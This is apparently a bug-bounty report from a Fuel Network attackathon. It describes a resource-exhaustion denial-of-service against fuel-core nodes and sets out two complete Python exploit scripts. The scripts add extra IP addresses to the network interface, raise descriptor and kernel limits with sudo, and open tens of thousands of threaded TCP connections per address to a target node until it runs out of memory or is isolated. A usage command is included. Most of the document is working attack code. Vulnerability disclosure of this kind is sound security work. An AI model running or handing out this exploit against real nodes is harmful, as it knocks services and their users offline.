isolating the node from the network/causing OOM by resource exhaust
Submitted on Mon Jul 08 2024 18:17:42 GMT-0400 (Atlantic Standard Time) by @fnmain for Attackathon | Fuel Network
establishing connexions without exchanging data with http server is opening an FD and maintain it open even adding limitation to connexion params can result in node isolation OR OOM due the resource exhausting that occur among bypassing all checks/limitations
Copy $ ./fuel-core run --max-connections-per-peer 10 --connection-idle-timeout 10 --max-peers-connected 10 --ip 0.0.0.0
exploit_script (tested on v0.31.0 local node) result in OOM:
Copy def setup_interface(interface=["wlan0", "eth0"], COUNT=20):
_interface = ""
psutil=__import__("psutil")
if type(interface) != str:
addrs = psutil.net_if_addrs()
_interface = "wlan0" if "wlan0" in addrs else "eth0" if "eth0" in addrs else exec('print("[err] cannot set the interface automaticly please use -I <interface>");__import__("sys").exit(0)')
else:
_interface = interface
print(f"[INIT] interface:{_interface} selected")
interfaces = psutil.net_if_addrs()
base_addr,netmask = "",""
for address in interfaces[_interface]:
if address.family == __import__("socket").AF_INET:
(base_addr, netmask)=(address.address, address.netmask)
prefix = str(__import__("ipaddress").ip_network(f"{base_addr}/{netmask}", strict=False)).split("/")[-1]
subprocess = __import__("subprocess")
nx_ip = f"{base_addr.split('.')[0]}.{base_addr.split('.')[1]}.{base_addr.split('.')[2]}.REPME"
cmd_base = f"ip addr add {nx_ip}/{prefix} dev {_interface}"
start_base = int(base_addr.split(".")[-1])
its_done=False
#COUNT=20 # 20 default ( max cnx = 0xFFFF*20)
IPN = start_base
lips = []
while not its_done:
try:
r=subprocess.run(cmd_base.replace("REPME", str(IPN)), shell=True, check=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if r.returncode == 0:
COUNT=COUNT-1
IPN=IPN+1
lips.append(nx_ip.replace("REPME", str(IPN)))
else:
IPN=IPN+1
if COUNT == 0: its_done = True
except subprocess.CalledProcessError as e:
print(e)
__import__("sys").exit(-1)
return lips
def _init(I, C):
print("[INIT] , adjusting fd limit to 1026000")
__import__("os").system("ulimit -n 1026000")
run_command = __import__("os").system
print("[INIT] preapring kernel params to support ~0xffff cnx per ip")
run_command("sudo sysctl -w net.ipv4.ip_local_port_range='1024 65535'")
run_command("sudo sysctl -w net.ipv4.tcp_tw_reuse=1")
run_command("sudo sysctl -w net.ipv4.tcp_fin_timeout=30")
resource = __import__("resource")
soft, hard = resource.getrlimit(resource.RLIMIT_NOFILE)
resource.setrlimit(resource.RLIMIT_NOFILE, (1026000, hard))
print("[INIT] registring more ips for used interface [default:20]")
ips = setup_interface(I, C)
#print(f"[INFO] ips:{ips}")
print("[INFO] initialisation done , starting the execution of all threads")
return ips
new_cnx = __import__("threading").Thread
(H,P) = ("192.168.11.106", 4000)
def openFDS(IP):
counter = 0
fails = 0
cnxs = []
for i in range(0xFFFF - 2000):
try:
cnxs.append(__import__("socket").socket())
cnxs[counter].bind((IP, 0))
cnxs[counter].connect((H,P))
cnxs[counter].send(b"A"*(1024))
#print(f"IP_BUSD={IP},OPEN_CNX={counter},FAILS={fails}\t\t", end="\r")
counter=counter+1
except:
fails = fails+1
pass
print()
def argv_parser():
host, port, interface, threads, count = None, None, None, 1, 20
args = __import__("sys").argv
for i in range(1,len(args)):
if args[i] == "-i":
interface = args[i+1]
elif args[i] == "-h":
host = args[i+1]
elif args[i] == "-p":
port = args[i+1]
elif args[i] == "-t":
threads = args[i+1]
elif args[i] == "-c":
count = args[i+1]
else:
pass
#print(f"[WARN] {args[i]} unkown param")
return host,int(port),interface,int(threads),int(count)
HH,PP,II,TT,CC = argv_parser()
H = HH if HH is not None else H
P = PP if PP is not None else P
ips = _init(II, CC) # autoselect if None
tp = []
print(f"opts:h,p,i,t,c={HH,PP,II,TT,CC}")
#for i in range(TT):
i = 0
while i != TT:
for _ip in ips:
tp.append(new_cnx(target=openFDS, args=(_ip,)))
tp[i].start()
i=i+1
for i in range((TT*len(ips))):
tp[i].join()
Copy python3 exploit.py -h 192.168.11.106 -p 4000 -i eth0 -c 8 -t 4
there is a more customized exploit with doc that can be used either for fd resource exhaust or OOM :
Copy def setup_interface(interface=["wlan0", "eth0"], COUNT=20):
_interface = ""
psutil=__import__("psutil")
if type(interface) != str:
addrs = psutil.net_if_addrs()
_interface = "wlan0" if "wlan0" in addrs else "eth0" if "eth0" in addrs else exec('print("[err] cannot set the interface automaticly please use -I <interface>");__import__("sys").exit(0)')
else:
_interface = interface
print(f"[INIT] interface:{_interface} selected")
interfaces = psutil.net_if_addrs()
base_addr,netmask = "",""
for address in interfaces[_interface]:
if address.family == __import__("socket").AF_INET:
(base_addr, netmask)=(address.address, address.netmask)
prefix = str(__import__("ipaddress").ip_network(f"{base_addr}/{netmask}", strict=False)).split("/")[-1]
subprocess = __import__("subprocess")
nx_ip = f"{base_addr.split('.')[0]}.{base_addr.split('.')[1]}.{base_addr.split('.')[2]}.REPME"
cmd_base = f"ip addr add {nx_ip}/{prefix} dev {_interface}"
start_base = int(base_addr.split(".")[-1])-1
its_done=False
IPN = start_base
lips = []
while not its_done:
try:
r=subprocess.run(cmd_base.replace("REPME", str(IPN)), shell=True, check=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if r.returncode == 0:
COUNT=COUNT-1
IPN=IPN+1
lips.append(nx_ip.replace("REPME", str(IPN)))
else:
IPN=IPN+1
if COUNT == 0: its_done = True
except subprocess.CalledProcessError as e:
print(e)
__import__("sys").exit(-1)
return lips
def _init(I, C):
print("[INIT] , adjusting fd limit to 1026000")
__import__("os").system("ulimit -n 1026000")
run_command = __import__("os").system
print("[INIT] preapring kernel params to support ~0xffff cnx per ip")
run_command("sudo sysctl -w net.ipv4.ip_local_port_range='1024 65535'")
run_command("sudo sysctl -w net.ipv4.tcp_tw_reuse=1")
run_command("sudo sysctl -w net.ipv4.tcp_fin_timeout=30")
resource = __import__("resource")
soft, hard = resource.getrlimit(resource.RLIMIT_NOFILE)
resource.setrlimit(resource.RLIMIT_NOFILE, (1026000, hard))
print("[INIT] registring more ips for used interface [default:20]")
ips = setup_interface(I, C)
#print(f"[INFO] ips:{ips}")
print("[INFO] initialisation done , starting the execution of all threads")
return ips
new_cnx = __import__("threading").Thread
(H,P) = ("192.168.11.106", 4000)
def openFDS(IP, with_data=0, R=(0xFFFF-2000), TS=0):
if R == 0: R=(0xFFFF-2000)
counter = 0
fails = 0
cnxs = []
for i in range(R):
try:
cnxs.append(__import__("socket").socket())
cnxs[counter].bind((IP, 0))
cnxs[counter].connect((H,P))
if with_data != 0:
cnxs[counter].send(b"A"*with_data)
counter=counter+1
except:
fails = fails+1
pass
print(f"[INFO][SEP_THR] sleeping for {TS} with {len(cnxs)} open cnxs")
__import__("time").sleep(TS)
def _help():
print("""-he\thelp msg
-i\tinterface to use
-h\ttarget ip address
-p\ttarget port
-t\tthreads to be generated
-c\tcount of addresses to be used
-d\tamount of data to send for each cnx (defualt:0 , no data)
-n\tconnexion amount needed
-s\tsleeping time after finishing the cnx setup""")
__import__("sys").exit(0)
def argv_parser():
connexions, host, port, interface, threads, count, data_amount,stime = 0, None, 0, None, 1, 1, 0, 0
args = __import__("sys").argv
for i in range(1,len(args)):
if (len(args) == 1) or args[i] == "-he":
_help()
elif args[i] == "-i":
interface = args[i+1]
elif args[i] == "-h":
host = args[i+1]
elif args[i] == "-p":
port = args[i+1]
elif args[i] == "-t":
threads = args[i+1]
elif args[i] == "-c":
count = args[i+1]
elif args[i] == "-d":
data_amount = args[i+1]
elif args[i] == "-n":
connexions = args[i+1]
elif args[i] == "-s":
stime = args[i+1]
else:
pass
return host,int(port),interface,int(threads),int(count),int(data_amount),int(connexions),int(stime)
HH,PP,II,TT,CC,DM,CN,TS = argv_parser()
H = HH if HH is not None else H
P = PP if PP is not None else P
tp = []
print(f"[DBG] opts:h,p,i,t,c={HH,PP,II,TT,CC}")
ips = _init(II, CC) # autoselect if none
print(f"[INFO] threads={TT} ip_count={CC} ips={len(ips)} total_threads={TT**len(ips)}")
print(ips)
i = 0
while i != TT:
for _ip in ips:
tp.append(new_cnx(target=openFDS, args=(_ip,DM, CN, TS)))
tp[i].start()
i=i+1
for i in range((TT*len(ips))):
tp[i].join()